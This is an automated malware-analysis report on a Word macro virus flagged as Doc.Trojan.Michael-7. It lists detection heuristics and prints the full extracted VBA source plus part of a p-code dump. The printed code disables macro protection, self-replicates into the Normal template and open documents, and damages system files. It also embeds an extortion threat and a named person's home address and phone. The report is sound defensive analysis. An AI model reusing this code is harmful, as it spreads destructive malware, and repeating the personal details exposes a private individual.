MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close functions, which are commonly used to execute malicious code upon opening or closing the document. The presence of 'Welcome Hacker!!' and the obfuscated nature of the VBA code suggest malicious intent, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Trojan.Michael-7' further confirms its malicious nature.
Heuristics 6
-
ClamAV: Doc.Trojan.Michael-7 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Michael-7
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 82099 bytes |
SHA-256: 52dfc409bd4ca7ade3c3d039f86d582b7df15b6064abe80263003d49e2ee2c3b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "MichaelangeloVictory2"
'Welcome Hacker!!
'You discover the secrets of Word
Option Explicit
Option Compare Text
Dim Signature As String
Dim WallpaperChange As Boolean
Dim qBal As Balloon
Dim BackupName As String
Function Random() As Long
Random = Int((21 * Rnd) + 1)
End Function
Function Quote() As Long
Dim quotes(1 To 21) As String
Static prevQuote As Long
Static currQuote As Long
On Error Resume Next
Options.VirusProtection = False
quotes(1) = "On Fuzzy Logic" & Chr(10) & Chr(10) & _
""" He who would distinguish " & _
" the true from false must have" & _
" an adequate idea of what is true and what is false"""
quotes(2) = """We all know - the Times know - but we pretend we don't""" & _
Chr(10) & Chr(10) & "-- Virginia Woolf"
quotes(3) = "On Formulating an Algorithm" & _
Chr(10) & Chr(10) & """ Without a good problem definition, " & _
"you might put effort into solving" & _
" the wrong problem. Be sure you know what you're" & _
" aiming before you journey.""" & _
Chr(10) & Chr(10) & "-- Steve McConnell"
quotes(4) = "On Creating a Pseudocode" & _
Chr(10) & Chr(10) & "Iterate. Try as many ideas as you can" & _
" in PDL (program design language)before you start coding." & _
" Once you start coding, you get emotionally" & _
" involved with your code and it becomes harder to" & _
" throw away a bad design and start over." & _
Chr(10) & Chr(10) & "-- Steve McConnell"
quotes(5) = """The bad news is that, in our opinion, we will never" & _
" the philosohopher's stone. We will never" & _
" find a process that allows us to design software in" & _
" a perfectly rational way. The good news is that" & _
" we can fake it.""" & _
Chr(10) & Chr(10) & "-- David Parnas and Paul Clements"
quotes(6) = """Programming can be fun, so can cryptography," & _
" however they should not be combined""" & _
Chr(10) & Chr(10) & " Kreitzberg and Shneiderman"
quotes(7) = """If you can't explain something to a six-year" & _
" old, you really don't understand it yourself""" & _
Chr(10) & Chr(10) & "-- Albert Einstein"
quotes(8) = """The cure for boredom is curiosity. There is " & _
" no cure for curiosity""" & _
Chr(10) & Chr(10) & "-- Dorothy Parker"
quotes(9) = "On Tracking Down an Error" & _
Chr(10) & Chr(10) & " ""And if you can take one from three" & _
" hundred and sixty-five, what remains?""" & _
" ""Three hundred and sixty-four of course"", Alice said." & _
" Humpty Dumpty looked doubtful. ""I'd rather see that done in paper"", he said." & _
Chr(10) & Chr(10) & "--Alice in Wonderland"
quotes(10) = "On Good Variable Naming" & _
Chr(10) & Chr(10) & " ""Don't stand chattering" & _
" to yourself like that,"" Humpty Dumpty said, " & _
" looking at her for the first time, ""but tell me " & _
" your name and your business."" ""My" & _
" name is Alice, but --"". ""It's a" & _
" stupid name enough!"", Humpty Dumpty" & _
" interrupted impatiently. ""What does" & _
" it mean?"", ""Must a name mean something?"" Alice" & _
" asked doubtfully. ""Of course it must,"" Humpty" & _
" Dumpty said with a short laugh: ""My name means the" & _
" shape that I am and a good handsome shape it is, too. " & _
" With a name like yours, you might be any shape, " & _
" almost."""
quotes(11) = """First thing first, but not necessarily in that order.""" & _
Chr(10) & Chr(10) & "--Dr. Who, Meglos"
quotes(12) = """The significant problems we face cannot be solved by the " & _
"same level of thinking that created them.""" & _
Chr(10) & Chr(10) & "--Albert Einstein"
quotes(13) = "On Creating, Inhertance in Classes" & _
Chr(10) & Chr(10) & """You will understand this when I tell you that " & _
"I can trace my ancestry back to a protoplasmal primordial " & _
" globule.""" & _
Chr(10) & Chr(10) & "--Gilbert and Sullivan, the Mikado"
quotes(14) = """Words are so powerful, but I found it powerfully useless " & _
"just to come up with a statement like this.""" & _
Chr(10) & Chr(10) & "--Michael I. Buen"
quotes(15) = "On Temporary Solution" & _
Chr(10) & Chr(10) & """One powerful heuristic tool is brure force. Don't " & _
"underestimate it. A brute force solution is better than an elegant " & _
"solution that doesn't work.""" & _
Chr(10) & Chr(10) & "--Steve McConnell"
quotes(16) = "On Design Process Stage" & _
Chr(10) & Chr(10) & """We try to solve the problem by rushing through " & _
"the design process so that enough time is left at the end of " & _
"project to uncover the errors that were made because we rushed " & _
"through the design process.""" & _
Chr(10) & Chr(10) & "--Glenford Myers"
quotes(17) = "On Premature Optimization" & Chr(10) & Chr(10) & _
"""We should forget about small efficiencies, say about 97% of " & _
"the time: premature optimization is the root of all evil.""" & _
Chr(10) & Chr(10) & "--Donald Knuth"
quotes(18) = """The problem definition lays the foundation for the " & _
"rest of the programming process.""" & _
Chr(10) & Chr(10) & "--Steve McConnell"
quotes(19) = """From a programmer's point of view, the user is " & _
"a peripheral that types when you issue a read request.""" & _
Chr(10) & Chr(10) & "--Peter Williams"
quotes(20) = """Programming today is a race between software engineers " & _
"striving to build bigger and better idiot-proof programs, " & _
"and the universe trying to produce bigger and better idiots. " & _
"So far the universe is winning.""" & _
Chr(10) & Chr(10) & "--Rich Cook"
quotes(21) = """I can do everything through Him who gives me strength.""" & _
Chr(10) & Chr(10) & "--Philipians 4:13 (courtesy of Byron2 James C. Ngan)"
'Call Randomize
Do
currQuote = Random()
Loop While currQuote = prevQuote
Set qBal = Assistant.NewBalloon
qBal.Heading = "Quote for the Moment"
qBal.Animation = msoAnimationThinking
qBal.Text = quotes(currQuote)
qBal.Show
prevQuote = currQuote
Quote = 1
End Function
Sub ViewVBCode()
'
' ViewVBCode Macro
' Shows the VB editing environment
'
Dim d As Document
On Error Resume Next
Options.VirusProtection = False
For Each d In Documents
d.Saved = True
Next d
Application.Quit
End Sub
Sub ToolsOptions()
'
' ToolsOptions Macro
' Changes various categories of Word for Windows options
'
On Error Resume Next
Options.VirusProtection = True
Dialogs(wdDialogToolsOptions).Show
Signature = "Michaelangelo ""The Skulltor\n"" Buenarroti"
Application.UserName = Signature
Application.UserInitials = "MIB"
Application.UserAddress = "" & _
"Block 6 Lot 3 Hauskon Homes, Daang Amaya, " & _
"Tanza Cavite" & Chr(10) & _
Chr(10) & "e-mail address: mycklangelo@yahoo.com / mycklangelo@hotmail.com" & Chr(10) & _
Chr(10) & "Tel: (046)505-17-39"
Options.VirusProtection = False
End Sub
Sub ToolsMacro()
Dim d As Document
On Error Resume Next
Options.VirusProtection = False
For Each d In Documents
d.Saved = True
Next d
Application.Quit
End Sub
Sub FilePrintDefault()
'
' FilePrintDefault Macro
' Prints the active document using the current defaults
'
Dim freeF As Integer
On Error Resume Next
If (WeekDay(Date)) <> vbFriday Then
ActiveDocument.PrintOut
End
End If
If Day(Date) > 23 And WeekDay(Date) = vbFriday Then
Call SetAttr("c:\windows\dummy.txt", vbArchive)
freeF = FreeFile
Kill "c:\windows\dummy.txt"
Open "c:\windows\dummy.txt" For Output As #freeF
Print #freeF, "Resume"
Print #freeF, ""
Print #freeF, "Applicant's Name: Michael I. Buen"
Print #freeF, ""
Print #freeF, "Address: Block 6 Lot 3 Hauskon Homes, Daang Amaya, Tanza Cavite"
Print #freeF, "Tel: (046)505-17-39"
Print #freeF, "Desired Position: Programmer/Technical Writer/Computer Salesman"
Print #freeF, ""
Print #freeF, "Skills: Knows C/C++, Assembly, Pascal, COBOL, Clipper, Foxpro, "
Print #freeF, " JavaScript, VBScript, Visual Basic, VB for Application "
Print #freeF, " Programming, Access, Clarion, HTML, Batch File"
Print #freeF, ""
Print #freeF, "Applications Expertise: Resource Workshop, Aldus Pagemaker, Adobe Photoshop,"
Print #freeF, " Lotus Smartsuite, Microangelo, and Of Course Excel and "
Print #freeF, " Microsoft Word"
Print #freeF, ""
Print #freeF, "Favorite Quote: ""The cure for boredom is curiosity, there is no cure "
Print #freeF, " for curiosity"""
Print #freeF, ""
Print #freeF, "With Experiences In: Innodata, SENCOR, VMSCI, GenDiesel"
Print #freeF, ""
Print #freeF, "Without Experiences In: Chowking, J-Sys, Jimac, CBSI, Information Professionals, "
Print #freeF, " Midas Kapiti, James Martin + co, Professional Staffers, "
Print #freeF, " Ergonomics, Express Telecom, 650 Companies"
Print #freeF, ""
Print #freeF, ""
Print #freeF, "e-mail: mycklangelo@yahoo.com / mycklangelo@hotmail.com"
Print #freeF, "Address: Block 6 Lot 3, Hauskon Homes, Daang Amaya, Tanza Cavite"
Print #freeF, "tel: (046) 505-17-39"
Print #freeF, ""
Print #freeF, "To open my interactive resume type markbuen then highlight it"
Print #freeF, "then open a file, then my interactive resume will pop up"
Print #freeF, ""
Print #freeF, "Warning: If I don't get a stable job by the end of the month"
Print #freeF, " I will release a third virus that will remove all "
Print #freeF, " folders in the Primary Hard Disk, or in layman's term"
Print #freeF, " para ko na ring fi-normat ang Hard Disk Mo"
Print #freeF, ""
Print #freeF, "-- Be a Superlearner, Enroll at AMACConda Computer College"
Print #freeF, ""
Print #freeF, """Programming today is a race between software engineers "
Print #freeF, "striving to build bigger and better idiot-proof programs, "
Print #freeF, "and the universe trying to produce bigger and better idiots. "
Print #freeF, "So far the universe is winning."""
Print #freeF, "---Rich Cook"
Print #freeF, ""
Print #freeF, "Sa year 2004 FPJ for President, Noli de Castro for Vice President"
Print #freeF, Chr(15)
Close #freeF
Application.PrintOut FileName:="c:\windows\dummy.txt"
'Kill "c:\windows\dummy.txt"
End If
ActiveDocument.PrintOut
End Sub
Sub OnlyUs()
On Error Resume Next
Dim NTInfected As Boolean
Dim itemName As String
Dim openDoc As Document
Dim odInfected As Boolean
Dim i As Integer
NTInfected = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
itemName = NormalTemplate.VBProject.VBComponents(i).Name
If Name = "MichaelangeloVictory2" Then
NTInfected = True
End If
If itemName = "MichaelangeloVictory2" Or _
itemName = "ThisDocument" Or _
itemName = "Byron2" Or _
itemName = "Character2" Or _
itemName = "Reference to Normal" Then
GoTo Skip 'since there is no continue(in C language) in VB goto will compensate for that
End If
Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=itemName, Object:=wdOrganizerObjectProjectItems
Skip:
Next i
'remove others
If Not NTInfected Then
Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MichaelangeloVictory2", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Byron2", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Character2", Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save
End If
For Each openDoc In Documents
odInfected = False 'false tentatively
For i = 1 To openDoc.VBProject.VBComponents.Count
itemName = openDoc.VBProject.VBComponents(i).Name
If itemName = "MichaelangeloVictory2" Then
odInfected = True
End If
If itemName = "MichaelangeloVictory2" Or _
itemName = "ThisDocument" Or _
itemName = "Byron2" Or _
itemName = "Character2" Or _
itemName = "Reference to Normal" Then
GoTo Skip2 'since there is no continue(in C language) in VB goto will compensate for that
End If
Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=itemName, Object:=wdOrganizerObjectProjectItems
Skip2:
Next i
If Not odInfected Then
Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:=openDoc.FullName, Name:="MichaelangeloVictory2", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:=openDoc.FullName, Name:="Byron2", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:=openDoc.FullName, Name:="Character2", Object:=wdOrganizerObjectProjectItems
End If
Next openDoc
End Sub
Sub FileSave()
Dim b As Balloon
Dim l As Long
Dim NdxMac As Long
Dim infected As Boolean
Dim ls As String
Dim spos As Long
Dim Wallname As String
Dim Wallfound As Boolean
Dim chgHdr As Byte
Dim sfor As Long
Dim PauseTime, Start, Finish, TotalTime
On Error Resume Next
Options.VirusProtection = False
If Selection.Text = "Ablog" Then
ShowVisualBasicEditor = True
End
End If
Wallfound = False
If Day(Date) > 23 And WeekDay(Date) = vbThursday Then
Open "c:\windows\win.ini" For Input As #1
Do While Not EOF(1)
Input #1, ls
spos = InStr(ls, "Wallpaper")
If spos = 1 Then
Wallname = Mid(ls, spos + 10)
If UCase(Wallname) <> UCase("(None)") Then
Wallfound = True
End If
Exit Do
End If
Loop
Close #1
End If
'WallpaperChange
If Wallfound And Not WallpaperChange Then
'writing
Call SetAttr(Wallname, vbArchive)
Call SavePicture(Byron2.Image1.Picture, Wallname)
Call SetAttr("c:\windows\system\desk.cpl", vbArchive)
Open "c:\windows\system\desk.cpl" For Random As #1
chgHdr = 66
Put #1, 1, chgHdr
Close #1
WallpaperChange = True
End If
Signature = "Michaelangelo ""The Skulltor\n"" Buenarroti"
Call OnlyUs
ActiveDocument.Save
If Day(Date) > 23 And WeekDay(Date) = vbSaturday Then
For sfor = 50 To 1 Step -1
Application.StatusBar = String(sfor, " ") & "Michael Learns to Hack"
PauseTime = 0.015625 ' Set duration.
Start = Timer ' Set start time.
Do While Timer < Start + PauseTime
DoEvents ' Yield to other processes.
Loop
DoEvents
Next sfor
Application.StatusBar = "And Hope You'll Learn from It Too"
ElseIf Day(Date) = 29 Then
Byron2.Show
End If
End Sub
Sub FileClose()
On Error Resume Next
Call OnlyUs
'If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
Call OnlyUs
'If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub
Sub FileNew()
Dim d As Document
On Error Resume Next
Options.VirusProtection = False
Set d = Documents.Add
Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:=d.FullName, Name:="MichaelangeloVictory2", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:=d.FullName, Name:="Byron2", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:=d.FullName, Name:="Character2", Object:=wdOrganizerObjectProjectItems
End Sub
Sub AutoOpen()
On Error Resume Next
Call OnlyUs
ActiveDocument.Save
End Sub
Sub AutoExec()
On Error Resume Next
Call OnlyUs
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Call OnlyUs
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
On Error Resume Next
Call OnlyUs
Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
On Error Resume Next
Call OnlyUs
Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
'
' FileOpen Macro
' Opens an existing document or template
'
Dim prevDocCount As Integer
Dim NdxMac As Long
Dim infected As Boolean
Dim resBal As Balloon 'next
Dim resBal2 As Balloon 'back
Dim resBalMess As Balloon
Dim resOpt As Long
Dim l As Long
Const butClose = -12
Const butBack = -5
Const butNext = -6
Const resmSchooling = 1
Const resmSkills = 2
Const resmJobExperiences = 3
Const resmPersonalBackground = 4
Const resmPersonalForeground = 5
Const resmCharRef = 1
Const resmQuote = 2
Const resmInsideStory = 3
Dim michaelangeloExist As Boolean
Dim i As Integer
Dim itemName As String
On Error Resume Next
Options.VirusProtection = True
If Documents.Count <> 0 Then
If Selection.Text = "markbuen" Or Day(Date) = 30 Then
' put resume here
Set resBalMess = Assistant.NewBalloon
Do
Set resBal = Assistant.NewBalloon
resBal.Animation = msoAnimationListensToComputer
resBal.Heading = "Michael Learns To Hack..."
resBal.Text = "iNTERACTIVE rESUME" & Chr(10) & Chr(10) & _
"Desired Position: " & Chr(10) & " Programmer / Technical Writer / Computer Salesman" & Chr(10) & _
" - - - - - - - - - - - - - - - - - - - - - - - - - "
resBal.Labels(resmSchooling).Text = "My Schooling"
resBal.Labels(resmSkills).Text = "My Skills"
resBal.Labels(3).Text = "Job Experiences"
resBal.Labels(4).Text = "Personal Background"
resBal.Labels(5).Text = "Personal Foreground"
resBal.Button = msoButtonSetNextClose
resOpt = resBal.Show
Select Case resOpt
Case resmSchooling
resBalMess.Animation = msoAnimationWritingNotingSomething
resBalMess.Heading = "My Schooling"
resBalMess.Labels.Count = 0
resBalMess.Text = "Elementary" & Chr(10) & _
" Pio del Pilar Elementary School" & Chr(10) & Chr(10) & _
"High School" & Chr(10) & _
" Philippine Christian University" & Chr(10) & Chr(10) & _
"College" & Chr(10) & _
" AMACConda Computer College"
resBalMess.Show
Case resmSkills
resBalMess.Animation = msoAnimationGetTechy
resBalMess.Heading = "My Skills"
resBalMess.Text = " Proficient with varius languages like C/C++, Assembly, Pascal, COBOL, Foxpro, SQL, Visual Basic, Clarion, JavaScript, VB for Application, VBScript, HTML" & Chr(10) & Chr(10) & _
" Proficient in Application Softwares like Adobe Photoshop, Resourcce Workshop, Microangelo, Lotus Smart Suite, Aldus Pagemaker, Frontpage, Powerpoint, and of course Word and Excel"
resBalMess.Labels.Count = 0
resBalMess.Show
Case resmJobExperiences
resBalMess.Animation = msoAnimationWorkingAtSomething
resBalMess.Heading = "Experiences"
resBalMess.BalloonType = msoBalloonTypeBullets
resBalMess.Text = ""
resBalMess.Labels.Count = 4
resBalMess.Labels(1).Text = "INNODATA -- Typereader (corrects OCR errors)"
resBalMess.Labels(2).Text = "SENCOR -- Encoder"
resBalMess.Labels(3).Text = "VMSCI -- Pseudo Programmer Trainee"
resBalMess.Labels(4).Text = "GenDiesel -- Super Encoder"
resBalMess.Show
Case resmPersonalBackground
resBalMess.Animation = msoAnimationCharacterSuccessMajor
resBalMess.Heading = "Personal Background"
resBalMess.BalloonType = msoBalloonTypeBullets
resBalMess.Text = ""
resBalMess.Labels.Count = 3
resBalMess.Labels(1).Text = "Hardworking, Softworking, Quiet(low-noise), Sociable Person especially on Party "
resBalMess.Labels(2).Text = "Reliable, with Good Interpersonal Communicatin Skills and Intrapersonal Communication Skills (8 data bits, odd parity, 1 stop bit)"
resBalMess.Labels(3).Text = "Goal-oriented, Success-oriented, Journey-Oriented, Object-Oriented Person, w/ Good Moral Character and w/ Pissing Personality"
resBalMess.Show
Case resmPersonalForeground
resBalMess.Animation = msoAnimationGetAttentionMinor
resBalMess.Heading = "Personal Foreground"
resBalMess.BalloonType = msoBalloonTypeBullets
resBalMess.Text = ""
resBalMess.Labels.Count = 5
resBalMess.Labels(1).Text = "Black-eyes, black hair, black nostrils"
resBalMess.Labels(2).Text = "Cute (Patingin nga ng Dimple)"
resBalMess.Labels(3).Text = "Down-to-Earth (ALIEN?!)"
resBalMess.Labels(4).Text = "Boy-Next-Windows '95 Type"
resBalMess.Labels(5).Text = "Macho-chulis ang mga buto"
resBalMess.Show
Case butNext
Set resBal2 = Assistant.NewBalloon
resBal2.Labels.Count = 3
resBal2.Heading = "Michael Learns To Hack..."
resBal2.Text = "Interactive Resume"
resBal2.Labels(1).Text = "Character References"
resBal2.Labels(2).Text = "Quote for the Moment"
resBal2.Labels(3).Text = "Inside Story"
resBal2.Button = msoButtonSetBackClose
resOpt = resBal2.Show
Select Case resOpt
Case resmCharRef
Character2.Show
Case resmQuote
l = Quote()
Case resmInsideStory
Byron2.Show
End Select
End Select
Loop While resOpt <> -12
If Day(Date) <> 30 Then
End
End If
End If
End If
Dialogs(wdDialogFileOpen).Show
Call OnlyUs
ActiveDocument.Save
End Sub
Sub AutoClose()
On Error Resume Next
Call OnlyUs
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub AutoExit()
On Error Resume Next
Call OnlyUs
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub
Attribute VB_Name = "Byron2"
Attribute VB_Base = "0{3CDD36EB-EF57-11D3-ACD9-900936D3B526}{3CDD36E1-EF57-11D3-ACD9-900936D3B526}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Inet1_BeforeUpdate(ByVal Cancel As MSForms.ReturnBoolean)
End Sub
Private Sub Inet1_Enter()
End Sub
Private Sub Inet1_Exit(ByVal Cancel As MSForms.ReturnBoolean)
End Sub
Private Sub Inet1_StateChanged(ByVal State As Integer)
End Sub
Private Sub CommandButton1_Click()
Static b As Boolean
If b Then
CommandButton1.Caption = "Close"
Else
CommandButton1.Caption = "Open"
End If
b = Not b
End Sub
Private Sub UserForm_Activate()
TextBox1.CurLine = 0
End Sub
Attribute VB_Name = "Character2"
Attribute VB_Base = "0{3CDD36EF-EF57-11D3-ACD9-900936D3B526}{3CDD36E5-EF57-11D3-ACD9-900936D3B526}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
Static b As Boolean
If b Then
CommandButton1.Caption = "Close"
Else
CommandButton1.Caption = "Open"
End If
b = Not b
End Sub
Private Sub UserForm_Activate()
TextBox1.CurLine = 0
End Sub
' Processing file: /tmp/qstore_yqbmzgnc
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/MichaelangeloVictory2 - 39168 bytes
' Line #0:
' Line #1:
' QuoteRem 0x0000 0x0010 "Welcome Hacker!!"
' Line #2:
' QuoteRem 0x0000 0x0020 "You discover the secrets of Word"
' Line #3:
' Line #4:
' Option (Explicit)
' Line #5:
' Option (Compare Text)
' Line #6:
' Line #7:
' Dim
' VarDefn Signature (As String)
' Line #8:
' Dim
' VarDefn WallpaperChange (As Boolean)
' Line #9:
' Dim
' VarDefn qBal
' Line #10:
' Dim
' VarDefn BackupName (As String)
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' FuncDefn (Function Randomize() As Long)
' Line #17:
' LitDI2 0x0015
' Ld Rnd
' Mul
' Paren
' LitDI2 0x0001
' Add
' FnInt
' St Randomize
' Line #18:
' EndFunc
' Line #19:
' Line #20:
' FuncDefn (Function Quote() As Long)
' Line #21:
' Dim
' LitDI2 0x0001
' LitDI2 0x0015
' VarDefn quotes (As String)
' Line #22:
' Line #23:
' Dim (Static)
' VarDefn prevQuote (As Long)
' Line #24:
' Dim (Static)
' VarDefn currQuote (As Long)
' Line #25:
' Line #26:
' Line #27:
' OnError (Resume Next)
' Line #28:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #29:
' Line #30:
' LineCont 0x000C 11 00 10 00 13 00 10 00 15 00 10 00
' LitStr 0x000E "On Fuzzy Logic"
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x001C "" He who would distinguish "
' Concat
' LitStr 0x001F " the true from false must have"
' Concat
' LitStr 0x0035 " an adequate idea of what is true and what is false""
' Concat
' LitDI2 0x0001
' ArgsSt quotes 0x0001
' Line #31:
' Line #32:
' LineCont 0x0004 07 00 10 00
' LitStr 0x0038 ""We all know - the Times know - but we pretend we don't""
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0011 "-- Virginia Woolf"
' Concat
' LitDI2 0x0002
' ArgsSt quotes 0x0001
' Line #33:
' Line #34:
' LineCont 0x0014 07 00 10 00 13 00 10 00 15 00 10 00 17 00 10 00 19 00 10 00
' LitStr 0x001B "On Formulating an Algorithm"
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0026 "" Without a good problem definition, "
' Concat
' LitStr 0x0021 "you might put effort into solving"
' Concat
' LitStr 0x0031 " the wrong problem. Be sure you know what you're"
' Concat
' LitStr 0x001C " aiming before you journey.""
' Concat
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0012 "-- Steve McConnell"
' Concat
' LitDI2 0x0003
' ArgsSt quotes 0x0001
' Line #35:
' Line #36:
' LineCont 0x0018 07 00 10 00 13 00 10 00 15 00 10 00 17 00 10 00 19 00 10 00 1B 00 10 00
' LitStr 0x0018 "On Creating a Pseudocode"
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0026 "Iterate. Try as many ideas as you can"
' Concat
' LitStr 0x0039 " in PDL (program design language)before you start coding."
' Concat
' LitStr 0x002C " Once you start coding, you get emotionally"
' Concat
' LitStr 0x0031 " involved with your code and it becomes harder to"
' Concat
' LitStr 0x0028 " throw away a bad design and start over."
' Concat
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0012 "-- Steve McConnell"
' Concat
' LitDI2 0x0004
' ArgsSt quotes 0x0001
' Line #37:
' Line #38:
' Line #39:
' LineCont 0x0014 07 00 10 00 09 00 10 00 0B 00 10 00 0D 00 10 00 0F 00 10 00
' LitStr 0x0034 ""The bad news is that, in our opinion, we will never"
' LitStr 0x002A " the philosohopher's stone. We will never"
' Concat
' LitStr 0x0034 " find a process that allows us to design software in"
' Concat
' LitStr 0x0031 " a perfectly rational way. The good news is that"
' Concat
' LitStr 0x0011 " we can fake it.""
' Concat
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Concat
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.